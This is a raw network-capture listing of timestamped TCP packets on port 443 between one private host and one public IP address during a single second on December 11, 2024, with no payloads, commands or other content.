Dec 11, 2024 12:15:53.456381083 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.456402063 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.456577063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.456577063 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.456578016 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.456593037 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.456762075 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.456806898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.456806898 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.457138062 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.457158089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.457274914 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.457324028 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.457324028 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.457331896 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.457508087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.457508087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.457508087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.458059072 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.458079100 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.458218098 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.458400965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.458400965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.458400965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.458410978 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.458592892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.458592892 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.459084988 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.459106922 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.459252119 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.459252119 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.459429979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.459429979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.459429979 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.459438086 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.459595919 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.460052967 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.460068941 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.460194111 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.460239887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.460239887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.460239887 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.460249901 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.460423946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.460423946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.461510897 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.461527109 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.461688042 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.461785078 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.461785078 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.461792946 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.461970091 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.462449074 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.462466002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.462610960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.462610960 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.462790966 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.462798119 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.462954044 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.463175058 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.463190079 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.463363886 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.463363886 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.463449955 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.463455915 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.463629961 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.463629961 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.464310884 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.464328051 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.464476109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.464657068 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.464657068 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.464657068 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.464657068 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.464665890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.464847088 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.464855909 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.464860916 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.465104103 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.466017008 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.466037035 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.466207981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.466207981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.466389894 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.466391087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.466391087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.466391087 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.466401100 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.466806889 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.466829062 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.466990948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.466990948 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.467001915 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.467346907 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.467346907 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.467346907 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.467694044 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.467770100 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.467860937 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.467860937 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.468040943 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.468045950 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.480914116 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.480932951 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.481148005 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.481148005 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.481148005 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.481163025 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.481327057 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.481951952 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.481970072 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.482131958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.482131958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.482131958 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.482145071 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.482372046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.482372046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.482806921 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.482825041 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.482969046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.482969046 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.482980967 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.483158112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.483351946 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.483774900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.483794928 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.483937025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.483937025 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.484117031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.484122992 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.484307051 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.484849930 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.484870911 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.485203981 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.485219002 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.485301018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.485791922 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.485806942 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.485923052 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.485923052 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.485934973 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.486159086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.486159086 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.487257004 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.487272978 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.487416029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.487416029 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.487596989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.487596989 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.487603903 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.487895012 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.487914085 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.488070965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.488070965 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.488082886 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.488316059 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.488316059 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.489073038 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.489089966 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.489234924 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.489234924 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.489414930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.489414930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.489415884 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.489415884 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.489424944 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.490046024 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.490065098 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.490237951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.490237951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.490237951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.490252972 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.490320921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.490320921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.490320921 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.491432905 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.491447926 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.491585016 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.491585016 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.491601944 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.491780996 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.491780996 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.492360115 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.492381096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.492769003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.492769003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.492769003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.492769003 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.492784977 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.492949009 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.493129015 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.493520021 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.493541956 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.493679047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.493679047 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.493690014 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.493875027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.493875027 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.493875980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.493875980 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.494198084 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.494232893 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.494369030 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.494369030 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.494548082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.494548082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.494548082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.494548082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.494558096 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.495593071 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.495611906 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.495754004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.495754004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.495767117 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.495945930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.495945930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.495945930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.495945930 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.496546030 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.496562958 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.496706963 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.496886969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.496886969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.496886969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.496886969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.496886969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.496898890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.542006016 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.669414997 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.669420958 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.669483900 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.669528008 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.670139074 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.670149088 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.670368910 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.670387983 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.670480967 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.670727968 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.670739889 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.670919895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.670919895 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.671252012 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.671276093 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.671727896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.671727896 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.671796083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.671796083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.671796083 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.671803951 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.671976089 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.672398090 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.672414064 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.672555923 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.672555923 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.672713995 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.672722101 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.672904968 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.672954082 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.673329115 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.673345089 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.673513889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.673513889 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.673515081 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.673530102 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.673600912 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.673785925 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.674257040 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.674273014 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.674415112 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.674595118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.674595118 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.674603939 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.674787045 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.675627947 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.675645113 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.675786018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.675786018 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.675966978 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.675966978 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.675966978 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.675976992 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.676157951 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.676537991 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.676553011 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.676697969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.676697969 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.676709890 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.676747084 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.676934004 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.677119970 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.677342892 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.677366972 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.677501917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.677501917 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.677683115 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.677689075 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.677874088 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.677874088 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.678399086 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.678425074 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.678427935 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.678440094 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.678697109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.678697109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.678697109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.678697109 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.678745031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.680006981 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.680022955 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.680144072 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.680191994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.680191994 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.680201054 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.680375099 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.680537939 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.680537939 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.680783987 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.680799007 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.680944920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.680944920 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.681123972 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.681130886 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.681597948 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.681617022 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.681694031 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.681705952 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.681782961 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.681966066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.681966066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.681966066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.681966066 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.682620049 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.682636023 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.682770967 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.682954073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.682954073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.682954073 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.682962894 CET	443	49782	172.67.128.139	192.168.11.20
Dec 11, 2024 12:15:53.683146000 CET	49782	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:15:53.684122086 CET	443	49782	172.67.128.139	192.168.11.20
